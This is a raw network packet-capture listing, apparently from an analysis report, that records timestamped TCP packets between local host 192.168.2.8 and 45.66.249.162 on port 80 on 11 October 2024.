Oct 11, 2024 22:32:39.070792913 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070805073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070806980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070825100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070841074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070849895 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070862055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070868969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070879936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070890903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070895910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070910931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070930004 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070930958 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070945978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070957899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070965052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070979118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.070983887 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.070997953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071013927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071022987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071027040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071049929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071054935 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071072102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071078062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071091890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071101904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071115017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071125031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071135998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071144104 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071156979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071166992 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071177959 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071190119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071202040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071207047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071227074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071240902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071254015 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071257114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071273088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071289062 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071293116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071304083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071321011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071326017 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071346998 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071357965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071367979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071376085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071403027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071412086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071423054 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071434975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071444035 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071448088 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071471930 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071479082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071500063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071501017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071521044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071532965 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071542025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071554899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071561098 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071569920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071582079 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071594000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071604967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071608067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071631908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071635008 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071651936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071664095 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071672916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071676970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071701050 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071706057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071732998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071752071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071773052 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071784973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071794987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071798086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071815014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071832895 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071844101 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071844101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071862936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071878910 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071885109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071902037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071906090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071921110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071928978 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.071933031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071963072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.071965933 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072000980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072191954 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072213888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072232008 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072237968 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072243929 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072259903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072268009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072280884 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072289944 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072303057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072312117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072330952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072330952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072360039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072361946 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072374105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072392941 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072411060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072458982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072474003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072493076 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072501898 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072508097 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072530031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072664022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072685003 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072698116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072706938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072711945 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072738886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072840929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072868109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072885036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072885036 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072905064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072920084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072921991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072943926 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072956085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072963953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072968960 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.072988033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.072998047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073019028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073057890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073076963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073092937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073096991 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073106050 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073120117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073129892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073139906 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073143959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073174000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073551893 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073570967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073596954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073601007 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073611021 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073623896 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073636055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073646069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073649883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073673964 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073678970 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073697090 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073709011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073718071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073721886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073740005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073753119 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073762894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.073766947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.073796988 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074038029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074057102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074074030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074076891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074091911 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074098110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074109077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074125051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074127913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074147940 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074162006 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074167967 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074176073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074191093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074198008 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074212074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074219942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074230909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074239969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074251890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074254990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074274063 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.074290991 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.074312925 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.158785105 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.158823013 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.158843994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.158864975 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.158876896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.158921003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.158921003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222203016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222227097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222266912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222289085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222302914 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222312927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222318888 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222343922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222352982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222367048 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222378969 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222383022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222408056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222420931 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222429037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222450972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222454071 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222460032 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222482920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222487926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222505093 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222521067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222526073 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222538948 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222558022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222560883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222579002 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222599983 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222615004 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222619057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222637892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222639084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222656012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222661972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222675085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222691059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222693920 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222711086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222738981 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222748041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222757101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222774029 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222779989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222796917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222806931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222817898 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222829103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222846031 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222867012 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222871065 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222887039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222894907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222908974 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222915888 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222925901 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222933054 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222942114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222948074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222961903 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222969055 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.222985983 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.222997904 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223006964 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223018885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223040104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223058939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223061085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223083973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223084927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223105907 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223107100 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223124027 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223128080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223146915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223151922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223160982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223171949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223189116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223201990 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223207951 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223229885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223249912 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223268032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223272085 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223288059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223295927 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223315001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223316908 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223329067 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223336935 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223345041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223357916 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223376989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223409891 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223409891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223417997 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223433971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223447084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223449945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223470926 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223488092 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223709106 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223726034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223748922 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223750114 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223758936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223778009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223789930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223815918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223817110 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223834038 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223855019 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223858118 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223870039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223880053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223900080 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223918915 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223923922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223942041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223951101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223970890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.223972082 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223990917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.223994970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:39.224004984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:39.224018097 CEST	80	49707	45.66.249.162	192.168.2.8
